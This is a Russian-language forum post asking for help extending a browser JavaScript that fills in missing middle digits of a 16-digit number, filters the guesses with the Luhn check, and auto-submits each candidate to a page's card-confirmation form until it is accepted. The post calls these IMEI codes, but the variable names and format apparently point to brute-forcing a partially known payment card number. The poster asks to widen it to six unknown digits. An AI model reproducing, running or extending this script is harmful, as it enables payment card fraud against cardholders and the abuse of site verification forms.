Помогите, пожалуйста, исправить скрипт
Здравствуйте, Помогите пожалуйста исправить скрипт
Имеем скрипт который подбирает и проверяет imei код по алгоритму Луна. Imei:10171220****2704 пропущенные 4 цифры он подбирает и проверяет по алгоритму Луна. а мне надо что бы он умел 6 неизвестных пропущенных искать - проверять 101712******2704 Спасибо ! сам скрипт: var jq = document.createElement('script'); jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"; document.getElementsByTagName('head')[0].appendChild(jq); var first_8 = '10171220'; var last_4 = '2704'; function valid_imei(value) { if (/[^0-9-\s]+/.test(value)) return false; //Алгоритм Луна var nCheck = 0, nDigit = 0, bEven = false; value = value.replace(/\D/g, ""); for (var n = value.length - 1; n >= 0; n--) { var cDigit = value.charAt(n), nDigit = parseInt(cDigit, 10); if (bEven) { if ((nDigit *= 2) > 9) nDigit -= 9; } nCheck += nDigit; bEven = !bEven; } return (nCheck % 10) == 0; } var cards = []; for (var i = 0; i < 10000; i++) { var str = "" + i; var pad = "0000"; var ans = pad.substring(0, pad.length - str.length) + str; var cc = first_8 + ans + last_4; if (valid_imei(cc)) { cards.push(cc); } } function checkCard() { if ($('.a-alert-warning').is(':visible')) { if ($('.section-overwrap').length > 0) { setTimeout(checkCard, 200); } else { var cc = cards.pop(); $('#addimei').val(cc); console.log(cc); $('#confirm-card').click(); setTimeout(checkCard, 300); } } else { return 1; } } checkCard(); |
разобрался, можно удалять ))
|
Часовой пояс GMT +4, время: 12:39. |
Powered by vBulletin® Version 4.5.3
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.